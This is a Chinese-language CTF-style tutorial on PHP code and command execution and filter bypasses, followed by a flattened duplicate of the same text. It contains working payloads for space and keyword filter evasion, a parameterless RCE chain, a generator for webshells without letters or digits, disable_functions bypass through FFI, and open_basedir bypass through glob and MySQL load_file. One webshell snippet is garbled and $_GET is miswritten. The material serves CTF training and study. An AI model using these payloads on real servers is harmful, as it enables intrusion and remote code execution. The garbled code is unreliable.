PHP中的代码执行,命令执行与常见bypass技巧
字数 1876 2025-08-11 08:36:02

PHP中的代码执行、命令执行与常见Bypass技巧

一、命令执行与代码执行的区别

在PHP中,代码执行和命令执行是两个不同的概念:

  • 代码执行:执行PHP代码(如eval()执行PHP字符串)
  • 命令执行:执行Linux系统命令(如system()执行shell命令)

关键区别:有些代码在PHP下看起来有错,但在Linux下是正确的。

二、常见的代码执行函数

1. eval($string)

  • 将字符串作为PHP代码执行
  • 字符串必须是合法PHP代码,必须以分号结尾
  • 语言构造器(非函数),不能被可变函数调用
  • 无分号时可用?>代替

2. assert($assertion)

  • 字符串参数会被当作PHP代码执行
  • 可以不以分号结尾
  • PHP7后变为语言构造器

3. call_user_func(\(func,\)string)

  • 用于函数调用
  • 第一个参数为调用函数,第二个为回调参数
  • 危险函数,但不算严格意义上的代码执行

三、常见的命令执行函数

1. system()

  • 执行外部程序命令
  • 输出执行结果并返回最后一行
  • 含空格的命令需要加引号

2. exec()

  • 执行外部程序
  • 只返回执行结果的最后一行
  • 无输出打印

3. passthru()

  • 执行外部程序并显示原始输出

4. shell_exec()

  • 等价于反引号`
  • 通过shell环境执行命令
  • 完整输出以字符串返回
  • 需要echo才能显示结果

四、Linux文件查看函数

可用于读取文件内容的命令:

  • more:分页显示
  • less:类似more
  • head:查看头几行
  • tac:反向显示(cat的反向)
  • tail:查看尾几行
  • nl:显示行号
  • od:二进制读取(-c参数读内容)
  • vi/vim:编辑器查看
  • sort:可查看
  • uniq:可查看

五、Bypass技巧

1. 特殊字符绕过

空格绕过

  • %09(tab)
  • 重定向<>
  • ${IFS}
  • /**/(注释符)

单词绕过

  • catca\t
  • flagfl\agfl''agf*

字母绕过

  • FLAGF[9-M][9-M]G

2. 重定义$GET绕过

前提:存在eval($GET[1])
payload:

1=$_GET[2]&2=phpinfo();

3. 无参RCE

利用PHP函数链实现无参数RCE:

highlight_file(next(array_reverse(scandir(pos(localeconv())))));

关键函数:

  • localeconv():返回本地数字及货币格式信息数组(第一个值是".")
  • current()/pos():返回数组当前元素
  • next():指针下移并输出
  • array_reverse():倒序数组
  • scandir():返回目录文件和目录数组
  • highlight_file()/show_source():高亮显示文件

4. 无字母数字webshell

异或型

<?php
$l = "";$r = "";
$argv = str_split("cat flag.php");
for($i=0;$i<count($argv);$i++){
    for($j=0;$j<255;$j++){
        $k = chr($j)^chr(255);
        if($k == $argv[$i]){
            if($j<16){
                $l .= "%ff";$r .= "%0".dechex($j);continue;
            }
            $l .= "%ff";$r .= "%".dechex($j);
        }
    }
}
echo "('$l')^('$r')";
?>

取反型

urlencode(~"phpinfo");
urlencode(~"system");

特殊型

$ctfshow=$P=$_(C+3+1)(C+2)(C+XX)=
$$
P(1)(
$$
P(2))
// 等价于
$ctfshow =$P=$_GET=$_GET(1)($_GET(2))

5. Linux逻辑运算符

控制命令执行流程:

  • ;:顺序执行
  • |:只执行后面命令
  • ||:只执行前面命令
  • &:两条都执行(后台)
  • &&:两条都执行(前成功才执行后)

6. 通配符绕过

利用通配符匹配命令:

  • /???/????64/bin/base64 flag.php
  • ?c=/usr/bin/bzip2 flag.php → 生成flag.php.bz2

7. 数字构造

Linux下数字构造技巧:

  • $(())=0
  • a=1,则$((aaaa))=-4
  • $((~$((aaaa))))=3 (取反减1)

六、disable_function绕过

1. 预期解法

使用PHP文件读取函数:

  • highlight_file()
  • file_get_contents()
  • show_source()
  • fgets()
  • file()
  • readfile()

其他姿势:

$a=fopen("flag.php","r");
while (!feof($a)) {
    $line = fgets($a);
    echo $line;
}
copy("flag.php","flag.txt");
rename("flag.php","flag.txt");

2. 提前终止

防止后续代码修改:

include("/flag.txt");die;
// 或
include("/flag.txt");exit();

3. open_dir绕过

glob绕过

$a=new DirectoryIterator("glob:///*");
foreach($a as $f){echo $f."||";}
exit();

数据库绕过

try {
    $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');
    foreach($dbh->query('select load_file("/flag36.txt")') as $row) {
        echo($row[0])."|";
    }
    $dbh = null;
} catch (PDOException $e) {
    echo $e->getMessage();
    exit(0);
}
exit(0);

FFI绕过(PHP>7.4)

$ffi=FFI::cdef("int system(char *command);", "libc.so.6");
$a='/readflag > 1.txt';
$ffi->system($a);
exit();

七、写文件利用

当无回显时:

  1. 重定向写文件:
    echo "123">1.txt
    
  2. tee管道写文件:
    ls|tee 1.txt
    
  3. source命令:
    source flag.txt  # 或 . flag.txt
    

八、其他技巧

1. 使用.代替source

. flag.txt

2. 通配符匹配临时文件

PHP上传文件保存在/tmp/phpXXXXXX,可用通配符匹配:

[@-]]  # 匹配大写字母(ASCII 64-91)

3. 文件包含利用

include("/flag.txt");die;

这篇文档涵盖了PHP代码执行、命令执行的主要函数和常见绕过技巧,包括特殊字符绕过、无参RCE、无字母数字webshell、disable_function绕过等高级技术。使用时请遵守法律法规,仅用于合法授权测试。

PHP中的代码执行、命令执行与常见Bypass技巧 一、命令执行与代码执行的区别 在PHP中,代码执行和命令执行是两个不同的概念: 代码执行 :执行PHP代码(如 eval() 执行PHP字符串) 命令执行 :执行Linux系统命令(如 system() 执行shell命令) 关键区别:有些代码在PHP下看起来有错,但在Linux下是正确的。 二、常见的代码执行函数 1. eval($string) 将字符串作为PHP代码执行 字符串必须是合法PHP代码,必须以分号结尾 语言构造器(非函数),不能被可变函数调用 无分号时可用 ?> 代替 2. assert($assertion) 字符串参数会被当作PHP代码执行 可以不以分号结尾 PHP7后变为语言构造器 3. call_ user_ func($func,$string) 用于函数调用 第一个参数为调用函数,第二个为回调参数 危险函数,但不算严格意义上的代码执行 三、常见的命令执行函数 1. system() 执行外部程序命令 输出执行结果并返回最后一行 含空格的命令需要加引号 2. exec() 执行外部程序 只返回执行结果的最后一行 无输出打印 3. passthru() 执行外部程序并显示原始输出 4. shell_ exec() 等价于反引号 ` 通过shell环境执行命令 完整输出以字符串返回 需要echo才能显示结果 四、Linux文件查看函数 可用于读取文件内容的命令: more :分页显示 less :类似more head :查看头几行 tac :反向显示(cat的反向) tail :查看尾几行 nl :显示行号 od :二进制读取(-c参数读内容) vi/vim :编辑器查看 sort :可查看 uniq :可查看 五、Bypass技巧 1. 特殊字符绕过 空格绕过 : %09 (tab) 重定向 <> ${IFS} /**/ (注释符) 单词绕过 : cat → ca\t flag → fl\ag 、 fl''ag 、 f* 字母绕过 : FLAG → F[9-M][9-M]G 2. 重定义$GET绕过 前提:存在 eval($GET[1]) payload: 3. 无参RCE 利用PHP函数链实现无参数RCE: 关键函数: localeconv() :返回本地数字及货币格式信息数组(第一个值是".") current() / pos() :返回数组当前元素 next() :指针下移并输出 array_reverse() :倒序数组 scandir() :返回目录文件和目录数组 highlight_file() / show_source() :高亮显示文件 4. 无字母数字webshell 异或型 : 取反型 : 特殊型 : 5. Linux逻辑运算符 控制命令执行流程: ; :顺序执行 | :只执行后面命令 || :只执行前面命令 & :两条都执行(后台) && :两条都执行(前成功才执行后) 6. 通配符绕过 利用通配符匹配命令: /???/????64 → /bin/base64 flag.php ?c=/usr/bin/bzip2 flag.php → 生成 flag.php.bz2 7. 数字构造 Linux下数字构造技巧: $(()) =0 设 a=1 ,则 $((aaaa)) =-4 $((~$((aaaa)))) =3 (取反减1) 六、disable_ function绕过 1. 预期解法 使用PHP文件读取函数: highlight_file() file_get_contents() show_source() fgets() file() readfile() 其他姿势: 2. 提前终止 防止后续代码修改: 3. open_ dir绕过 glob绕过 : 数据库绕过 : FFI绕过(PHP>7.4) : 七、写文件利用 当无回显时: 重定向写文件: tee管道写文件: source命令: 八、其他技巧 1. 使用 . 代替source 2. 通配符匹配临时文件 PHP上传文件保存在 /tmp/phpXXXXXX ,可用通配符匹配: 3. 文件包含利用 这篇文档涵盖了PHP代码执行、命令执行的主要函数和常见绕过技巧,包括特殊字符绕过、无参RCE、无字母数字webshell、disable_ function绕过等高级技术。使用时请遵守法律法规,仅用于合法授权测试。